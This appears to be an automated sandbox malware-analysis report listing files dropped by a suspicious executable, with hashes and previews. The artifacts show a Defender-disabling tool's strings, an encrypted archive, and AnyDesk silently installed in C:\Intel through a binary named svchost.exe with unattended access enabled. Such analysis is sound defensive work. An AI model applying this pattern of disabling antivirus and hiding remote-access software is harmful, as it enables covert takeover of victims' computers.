Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:Type1.FontName:AdobePiStd.FamilyName:Adobe Pi Std.StyleName:Regular.FullName:Adobe Pi Std.MenuName:Adobe Pi Std.StyleBits:0.WritingScript:Roman.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf.DataFormat:sfntData.UsesStandardEncoding:yes.isCFF:yes.hasSVG:no.VariableFontType:NonVariableFont.FileLength:85552.FileModTime:1627105154.WeightClass:400.WidthClass:5.AngleClass:0.Des

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt22.lst.2076

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10254
Entropy (8bit):	5.219521007487608
Encrypted:	false
SSDEEP:	192:rfA2L6Bw6FM76bMx6yU6Hy6Xk6PF6gV6ZQfs6wItRZ6mKtsu68ttG167e/btX458:rYEewSGsmdU4yKkCFFVgQfsfItRZtKt+
MD5:	4BA170A42160C86108475DB3EBD41455
SHA1:	A2274994767970A215A75F862B7F1EAC67ABABB6
SHA-256:	E9AADA55671902B91B000E520F7C9A250A817D10F56DAD113A9B14EB1F38FF4A
SHA-512:	416230BDC34F657425FE574074410A02BD1AD2C9F8F9BBC200A4996DCF469FA5389D43F204AFE8B222A119234D442FEF88E3F87BF23DECFB48A69382B240B338
Malicious:	false
Preview:	%!Adobe-FontList 1.22.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426548852.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:Type1.FontName:AdobePiStd.FamilyName:Adobe Pi Std.StyleName:Regular.FullName:Adobe Pi Std.MenuName:Adobe Pi Std.StyleBits:0.WritingScript:Roman.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf.DataFormat:sfntData.UsesStandardEncoding:yes.isCFF:yes.hasSVG:no.VariableFontType:NonVariableFont.FileLength:85552.FileModTime:1627105154.WeightClass:400.WidthClass:5.AngleClass:0.Des

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\Files\TESTING

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\SOPHIA.json

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	5.067860920200733
Encrypted:	false
SSDEEP:	12:YFqxBoL/22502+Otv22E3CyMCV+t8oxwZKg2Ak36SK/0igly8jkE5ksoJSnONs:YFuQ2NO2LSZCgq+/URAjzROG
MD5:	BC3713B682BBE7CB23202FFEEC3479AB
SHA1:	6102F822F96E1611781A493E7D2A92AC69F9FC79
SHA-256:	DD29B3EAD4273DD148BEC568A4B6F9CBB0B9DDFF5FFCB98272B151340D91C9E1
SHA-512:	4F2539FE9509CDFBB1E52C9DA118C276E557BB1888F6669248211DA4B3411A86D9A946C3C71F83FC2BC5E41EE0B7F96D6D1B2B49DCA5BA7014ADB53CBFF30693
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736349484000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"0353a8d4cbb1fc6eab3151e24b9d1c03","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1725958090000},{"id":"Edit_InApp_Aug2020","info":{"dg":"6c845701913dc07a142631007125304a","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":1725958090000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"9a041f338931f9aaad7d5f13d6917eef","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1725958090000},{"id":"DC_Reader_Upsell_Cards","info":{"dg":"e4e8b9846fec296de87fec860fc692f8","sid":"DC_Reader_Upsell_Cards"},"mimeType":"file","size":286,"ts":1725958090000},{"id":"DC_Reader_RHP_Retention","info":{"dg":"ac64b04ece130274a3be222dc51bdd30","sid":"DC_Reader_RHP_Retention"},"mimeType":"file","size":287,"ts":1725958090000}],"g_info":{"Version":"0.0.0.1"}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	40393
Entropy (8bit):	5.518083145564749
Encrypted:	false
SSDEEP:	384:K7X4oyVFMqHBe8Q2lVu4BoGYPwfK2QtJ4BMJYNg7y:KT4oyVFMwBlQmU4BoGYPsKbFYyu
MD5:	B436B7F55A7374B1482E50D5E61B709D
SHA1:	596B5CA9DD57F9C6DEA8A22DB619DFEDD5ADDAAC
SHA-256:	A29BC50A339052751DC70E0E7FBFC0B32212032187619DA2E74F96096128D36D
SHA-512:	19A0152ACC401EC6BABB801626049550421288274C817B032B67A1C9F9344268383AE5A2C926AD90007EB0D40CBDBC441EF9F4DEB6D7DF3758DB2E204768B5E1
Malicious:	false
Preview:	4.241.93.FID.2:o:........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.107.FID.2:o:........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.103.FID.2:o:........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.116.FID.2:o:........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.75.FID.2:o:........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.89.FID.2:o:........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.85.FID.2:o:........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.98.FID.2:o:........:F:Arial-BoldItalicMT.P:Arial Bold Italic.L:$.........................."F:Arial.#.91.FID.2:o:........:F:Arial-Black.P:Arial Black.L:-.........................."F:Arial Black.#.103.FID.2:o:........:F:Bahnschrift.P:Bahnschrift Light.L:&...............,.........."F:Bahnschrift Light.#.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	1824
Entropy (8bit):	5.207902729616354
Encrypted:	false
SSDEEP:	48:uPJSGfs4/ymI4RfoUefa+gZ9tK8NfJAoc+jIrW6LH:yIGH/vIIwLfMZ2Kfc+jAWQH
MD5:	2B7E9D2201F746E5A8DFC620DD61C3BA
SHA1:	CCBFE6D7FDF566AC79D51F21CAF99A15687BEF52
SHA-256:	7FD714C14E2A3B5D077177FA863C6BC3E607AC1FCE81199107BDE939CDA7DFE5
SHA-512:	208F420DEA3F5CF142DFBDC93E4CD4100F38919C2C6325439B45660FF4F65ECE6E76B50C4FDC874AC06B0CF033780AECAF899D3CAFC554E5C814A04FECA316F5
Malicious:	false
Preview:	@...e...........................................................T...............n$....<@.{..uR........Microsoft.Management.Infrastructure.Native..H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0...............I.....B..ZR............System..4......................A....E..........System.Core.D................g$H..K..I.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4..................%`99B....9...........System.Data.H................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell

C:\Users\user\AppData\Local\Temp\$inst\2.tmp

Download File

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	Microsoft Cabinet archive data, 36 bytes, at 0x24 "", number 1, 0 datablock, 0 compression
Category:	dropped
Size (bytes):	36
Entropy (8bit):	1.3753156176197312
Encrypted:	false
SSDEEP:	3:wDl:wDl
MD5:	8708699D2C73BED30A0A08D80F96D6D7
SHA1:	684CB9D317146553E8C5269C8AFB1539565F4F78
SHA-256:	A32E0A83001D2C5D41649063217923DAC167809CAB50EC5784078E41C9EC0F0F
SHA-512:	38ECE3E441CC5D8E97781801D5B19BDEDE6065A0A50F7F87337039EDEEB4A22AD0348E9F5B5542B26236037DD35D0563F62D7F4C4F991C51020552CFAE03B264
Malicious:	false
Preview:	MSCF....$.......$...................

C:\Users\user\AppData\Local\Temp\$inst\temp_0.tmp

Download File

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	Microsoft Cabinet archive data, many, 713528 bytes, 3 files, at 0x2c +A "0" +A "1", number 1, 56 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	713528
Entropy (8bit):	7.999592053370537
Encrypted:	true
SSDEEP:	12288:gbD1JtgNuVSIUa6xbajCPNNIbIV8DSGAF/2K2+21Br9eGmfnfWjgsTo0+DuKriE:glJSuoBa6xGuPAIV8D/6kN1betf2Zo04
MD5:	7012E21E7EA2A7E8C11BF15235428710
SHA1:	AADE81FD733C081FD79D8CA849C0DE37407AEE37
SHA-256:	FE880D56A2B9CBD0A279375921590BA1F53292CD8723DD601E225DF77BC51696
SHA-512:	8EF3DA74B59C4D6A7985179C348448B81DEEEF2448B71B4D04254FDEBE1007AE8316B0BD8B2A6EDDB7D2125CDC0C9E86C53C769F0C056C44876C7694E438A2CB
Malicious:	false
Preview:	MSCF....8.......,...................b...8...Jd........MY.V .0..\..Jd....8Y.. .1.....J.....TY.: .2.Q.E.$f..[...............%.1.3.f`.C..........6T.5j5T6T........d..f.......R.8..Ix.xn..2@&@....6..1..o..0.._.....1......c..D.{Y1L$.,...'.B../........3..D@...Y...j.[.D..V....'.9N.w....c..9QPx>..EQ..X.H..Q.BQ[S..G..u..f..o..$._?.T\|,.....Z4_Z.....i.h..#.Tf.eL@.+,L..4.\|...."..K.......B..N.i~[<f^...k.+....f../..}C.D_..c..`fV.E.E..*.g{C.Z..)&v....a~"I.J......)..&......9Y....1....R.....t....=.6.x.+....3...;..hK.C.#5m1.B'.R4....M.3...EGT........^K.@u.#I..;I..Mn..;~c..._..V....8xTL..K.S.......B.o....5h.8z.=..?PTY.....W..!.n......ot.7{..E.L.X.n:z.2X.p.....)F...^.......9....=>q.[o.8fV..coHQ].E..a.q>.r.+...P....M..O....)..y.....1.=......1..>-.+z....n#m..N..N..).=...`..!...%..7z......mx...\Cnw.b..%...>..p.+....<.S...............<.v.6q.......z.,i..u`.G.n.....^...........?Nz.i.k...,.....W.#.....{.\|...q.Q{?.....3%..Sa..q<..P1v.%n..ST{../OG.C.\|J.8k.M.h7.'

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_34ye3bsi.wf4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kxaipp2v.tlk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbgc0buj.p2c.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uuhwgwmd.0xg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\aut57D6.tmp

Download File

Process:	C:\Intel\dc.exe
File Type:	data
Category:	dropped
Size (bytes):	33220
Entropy (8bit):	7.730918275075489
Encrypted:	false
SSDEEP:	768:ucjZIYG6A8kiHIgH82NNkIY6zAXohupeNISgTBuda:ul8kpg9NW6vhupUISgoda
MD5:	7F08F61D0CB3BDEF38867217FD81B787
SHA1:	1F487054BD6D22A1FBD3A5AAD610B2897D389D2F
SHA-256:	145D1A291D7962F9C4D2A4FC0323CD1357EFB26F8030E580762DB55022D7BF84
SHA-512:	6E4A84D4BD2D1E52CBB197FF6E04A81C6634D03860522B13D3D8B1B4C90CAB139667AEF4ACCB41480434434F8BA247C3064C252388012A3052DCD7E7D4A98A39
Malicious:	false
Preview:	.p.%.....Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.:..qA..f.y..i9... ....VMf.i..k3.M..<..Lf....g6........F...9...A....o6.....`...\|'..@....Q@...q7...bg1.Qf`... f....S7.L.....mE.....4..M...eD..& ......~&S...o9..&Sj..k6..(`...@.....g4...-...gA.M..>...o6.(...K3)..g1..fT@..e3..<ji0.....L.6...i..`.9.....0N@Y...h.9..Wb.4.........F.j.S..`....&si....../.#..Br....h...).....a2... ?..p.tQ..`..n.-.. .(....`#l...;H.@....@..m9..@.8.pL......`...S....(...'......... .......4.o7...\|3Y.....2(.9..e5...\|.....}M..>..`....&.I...2.`h`U...d.k..B&.......8.... .S...f.P...n...&\|.V...f.`..i8.P.. .wfsP3..9 ._..t....p..mD.M........\|..l.h.8..nb.\|....?........ .....................`0......nh.@&.;3z..2....*.w..$..Q.&..#6.P..... .....3.......D...6..& ..%.1..&..Z..&3`........i6..f.@...@..5.......I. ..5....3`...k@k^...`" . ..`\|..X..'.....k@pD..{.T.........`.T.. l_.3..I.....e...........1.a.....@4............i5..&.@...S....... ...^........O 7...AD .l... .......W........\|.L.....<NAk.....`..@...f......../....(... Y.

C:\Users\user\AppData\Local\Temp\curqnkv

Download File

Process:	C:\Intel\dc.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	111542
Entropy (8bit):	3.429028761339644
Encrypted:	false
SSDEEP:	768:W62wUDwXu72ncwnSI6MMKWEFcwE66CpHNc+L5BLjZhvDyR4V7rS8uo:W62wUDwXNncwnSI6MMK3cmQ4HDZSJo
MD5:	D1A0850A8B128575034B94F0BD05318B
SHA1:	2064B00E81B2D0AFA60D561CCCA2D2C82D9C8414
SHA-256:	C40566AA7677F27F3A633FFD1A98F80FC60EB0B5B1487B756850504E5B462501
SHA-512:	64A1587E6E6FDB6AAC284D8C5A395385BE9605DB391C718CAF0F5F78359A8627D486C9CA6FDD1A253F0F26321FD76695B6EAC44662F87F4AC69D2873CCC679E5
Malicious:	false
Preview:	4D7573744465636C61726556617273[08AEi4755495F52554E4445464D5347[08AEi47554944617461536570617261746F7243686172[08AEi57696E44657465637448696464656E54657874[08AEi312E37[08AEi446566656E64657220436F6E74726F6C[08AEi202D20417574686F7220627920426C75654C696665[08AEi5B434C4153533A64436F6E74726F6C3A76[08AEi5D[08AEi323031352D32303231[08AEi2040557365724E616D6520[08AEi2040436F6D70696C656420[08AEi20404175746F497445786520[08AEi20404F534172636820[08AEi20404175746F497458363420[08AEi20404F5356657273696F6E20[08AEi57696E446566656E64[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi204053637269707444697220[08AEi204057696E646F777344697220[08AEi53797374656D33325C[08AEi2040576F726B696E6744697220[08AEi6B65726E656C33322E646C6C[08AEi7573657233322E646C6C[08AEi61647661706933322E646C6C[08AEi7368656C6C33322E646C6C[08AEi6F6C6533322E646C6C[08A

C:\Users\user\AppData\Roaming\AnyDesk\ad.trace

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	63373
Entropy (8bit):	4.356790919166338
Encrypted:	false
SSDEEP:	1536:Voxl2ryeXAt0v73W4XNGGS+J+S1vLym1NJRsXbOxQwEg/5MA9oTZ+WGPV5VyeRVP:+YSfc
MD5:	9B7CF11AD33450A09A4F3C42FE8DA589
SHA1:	CC51FDA2480125C39439753DA380B2059567A099
SHA-256:	942E67F5A422E358214EA9D8205E61E93D3131F39C1752E993D13AB5D148711D
SHA-512:	3A0C8F6ABD72C41F2F34E11391288C536EC8C394ACF65D5DF8E73C4DC7472AAF38367BD5537F662415E770DDE6D1236E1F8911ED6AB78726E4C1D8B445DE3B22
Malicious:	false
Preview:	* * * * * * * * * * * * * * * * * .. info 2025-01-08 15:18:24.658 installer 7772 2664 main - AnyDesk Windows Startup .. info 2025-01-08 15:18:24.658 installer 7772 2664 main - Version 8.0.14 (release/win_8.0.14 13967ce7c71d8c19a49dd697dbd0dec1c8d166bf).. info 2025-01-08 15:18:24.658 installer 7772 2664 main - .. info 2025-01-08 15:18:24.658 installer 7772 2664 main - Command Line params: svchost.exe --install C:\Intel\AnyDesk.. info 2025-01-08 15:18:24.658 installer 7772 2664 main - Process started at 2025-01-08. PID 7772. OS is Windows 8 (64 bit).. info 2025-01-08 15:18:24.658 installer 7772 2664 impl_selector - using sse2 (intrinsics).. info 2025-01-08 15:18:24.673 installer 7772 2664 base.data.config_application - Adding GPO default

C:\Users\user\AppData\Roaming\AnyDesk\service.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text, with very long lines (1747)
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	6.031409585800918
Encrypted:	false
SSDEEP:	48:uISTg2XyiYsBYQPum6S4vmQ80jFDX+Quf5dNOUs2CoZwlxBf2uip14Ou+qZvZ0bX:uISTcieQPd6S4B80FX+Q0RO72C2w3Bfw
MD5:	A429ECD0F9821EB625D51C0785ADA4BD
SHA1:	DC0CEB9A25FAF61D3808CFDD40ABEE4C0B82D7A1
SHA-256:	1164450951BFD50DCB45EFCB0E7B4D04A6D08AC8B668900867FF127E94489FF4
SHA-512:	527F37799A0D6B0EEA1F149A9A3345560DE6C996A759AD403F797BD013C710C9A96E6CB99BCB97ACD790BE0E4327C1820320FE9EE295B987863DC53B5D790468
Malicious:	false
Preview:	ad.anynet.cert=-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjUwMTA4MTUxODI2WhgPMjA3NDEyMjcxNTE4MjZaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAplXCRkxkTNEMKRwQliKS5dYwr6EAH5C7oCQb4R4XaNIrMu6deKQvaxIRJDnW\nKSmkwcRH+MayNMgGFoAAtZyj2Lkzw6LT9p/f8aCjG5+uJgzGvcEvvL8RaTxrX1B1\nFrkkM8sQHPjzfIsNCcxaK/vY8xGFPqMUdKed0MyusJY2GcoZSfOAm5P+ci79w0/S\n3dcS41IpJQ1o9QrLaqWX97CQq6D9tUO+WH1ZnRiO9SQ7fHDIQr/0/bKljVqKP2ic\nrYR0cgOGA3zsgPiDBDWd4XIdOZydrlCplLEnQveWZesTc1NPgAqaiaTtF1M8xyZt\nBii3LXyWyc+Bqv29wc55Vuj95QIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBBrinO\niqDCmXkA/QMyKwvzQyjO3rMSvOsg9JIDpsQptRvRyk1xbAZgJWotncmd0p3hOQW6\nDEOIXb9uC0O19SkaAKHiREj3+EqlrBGtjbWj6m10N4ZdCO71F68+VitEW2PLPHhy\n8hVgsbhlpn2u8hNrCyG/BSgZrsJGR1iLKfnwuJj95+O7xuvsE4301fGoMqL+Pq9o\nLyyIQL+rpssfSsAyL1qhKoBCqY4HlJ7BAuN6QwHV9xAgKDGfpfViIbHMVld97Hnm\nmLQChQXdxwXPXAdFyFXEOmFhb73k7VeRONTtk20DTfjsPudQPFx+WOOTdY1SIj3w\n7hVlqekulZI0Yyq1\n-----END CERTI

C:\Users\user\AppData\Roaming\AnyDesk\system.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	468
Entropy (8bit):	4.635642681237963
Encrypted:	false
SSDEEP:	6:owdZqWeWbGEmHaqQAmvbahPR96QgRQUQgRQPYQgRQOYQgfxPZxi3B6QgfxPg3qgc:ocJXqQHvWhPR9vroBGgFBGt
MD5:	21AF117DFF42561A4F01CB7DA5ACC64E
SHA1:	6BDB07D4E6101769F2B30959405B16128612AF97
SHA-256:	A3667DF9BC23F9C28CDA68FEDE0803F8BC79BC5FBF09854DA65CC22FE9399461
SHA-512:	D046186B19803509FB5044CD3621A676C2324944AB376D00D72998A035E9EDA270EE60F1384D8A5081F51D877B58BD3C252C817D64F759D354E5D51D6DCB60BE
Malicious:	false
Preview:	ad.anynet.fpr=c6df0228075f62e61c7c9a9503ae4a83648cc15a.ad.anynet.relay.fatal_result=1.0.ad.anynet.relay.state=1.ad.inst.id=8f0f2b8881bb7c8b4af1c46bcbe01341.ad.security.frontend_clipboard=1.ad.security.frontend_clipboard_files=1.ad.security.frontend_clipboard_version=1.ad.security.permission_profiles._default.permissions.sas=1.ad.security.permission_profiles._unattended_access.permissions.sas=1.ad.security.permission_profiles.version=1.ad.security.update_version=1.

C:\Users\user\AppData\Roaming\AnyDesk\user.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text, with very long lines (3453)
Category:	modified
Size (bytes):	6408
Entropy (8bit):	4.357365933152454
Encrypted:	false
SSDEEP:	96:PPxzDCHtd0hLnIqGPh0neYRxteg0LHJAcCcokZVlYU74hjnCSwLLcZm/Xwus:RPCHtNLkRnipG8rD4qPf4us
MD5:	F3859C98D86EC9AB431BDF0F6F8F222E
SHA1:	ADEB7EA5C6F9ECE8A0C25D3FF8E1EDFB39A43123
SHA-256:	58D308EB255B1197C67D2397FAC192C77708321CA1C3CB44A1CB64ADB3639CD8
SHA-512:	9A753311E43FE92892A1CF643E61E1B085AFAC847F11F3E3426E0A3E96B1A2BE8309BAE654EBD29BDB64DB2969DF02311DB4DDDCDDB7AC37913A98833A21BECC
Malicious:	false
Preview:	ad.account.auth_methods=6fa74c609a01f31f1f670668df954f4642a4aae8018a18dafd3ba26609dae3f38d4e9325fa6573ce0ff648310f1fa2df0b53d2e90e4e008262013ecaea92873663b798586733aba56f951dbfe670e8113f4e755fdde4b4cb92ab0aa3802fc27374ab0862b47b212f41cf5778b89c1609215e53afd5927100aad25cb4152ac21226792587bfb69e16cb95388c5cfd5470f0d9beb80c1a2ae1abae9c19d4042610c3c1806804e9a6663f7b0c564eae3ba60f1af4214fe40a2ac103d4bafa9b63724dbff475ebfc9b7d1c85262b047337d281948b04dabc48029b3dc405e0018bd6b76716c05cb4.ad.account.info=6fa74c609a01f31f1f670668df954f4642a4aae8018a18dafd3ba26609dae3f38d4e9325fa6573ce0ff648310f1fa2df0b53d2e90e4e008262013ecaea92ab94479d077973afec6ed68578264dc320afc3053483b74051d5da22cb4f1da4c27374ab0862b47b212f41cf5778b89c4469569be07bbeb8b4399bdc0ca956e88d468c123dfb8314b1cd5de0677bc1006470f0d9fa15d1099fb4f8940ec81bd2455ff11c8bfc2407a1e442f504fc35d1cd33feac11cc97f0fed636cab3846f020875dffb56a30252ad095d930f292efff24983b1955564ae4129bcb168d30dbeecf0052ac9ed48536da9b72b3ba79e8310a7041b5184db5d.ad.acc

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\75fdacd8330bac18.customDestinations-ms (copy)

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	3432
Entropy (8bit):	3.144748817663169
Encrypted:	false
SSDEEP:	24:VzzMP3DnA2qmQ9vZDvMJofWoymlzzMP3DZA2Tn6vZDvMJejDymb:Vz0zA2qlhRMJoeoyez0za2LERMJOyA
MD5:	52D2651F8B28F58C9031709AC04A6C34
SHA1:	372C923785B04C485FC6AD5561ECEE546A98DA28
SHA-256:	EFCD2791728A3507CB0C5EA8F9A2DC102786E78ADE35D4910F6B89AAA4580E87
SHA-512:	5034B3E701B43480CC5323BFBAD816807A050819A89A654FE84C5FCBA2ECD9BB7EE8181F41971190AA65EAEF0A74F991D4681E5F58FCA9FC03F48392001B008B
Malicious:	false
Preview:	...................................FL..................F.@.. ...L....a...g..a...c...a...ZQ.....................7....P.O. .:i.....+00.../C:\...................P.1.....(ZLz..Intel.<.......S.f(ZLz.....c....................;...I.n.t.e.l.....V.1.....(ZNz..AnyDesk.@......(ZAz(ZPz.....a.....................X..A.n.y.D.e.s.k.....b.2..ZQ.(ZIz .AnyDesk.exe.H......(ZNz(ZNz..............................A.n.y.D.e.s.k...e.x.e.......K...............-.......J...........U.Z`.....C:\Intel\AnyDesk\AnyDesk.exe....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w.....C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e.........%SystemDrive%\Intel\AnyDesk\AnyDesk.exe.............................................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e...........................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T584AFIWHW2K6MQRSMN0.temp

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	3432
Entropy (8bit):	3.144748817663169
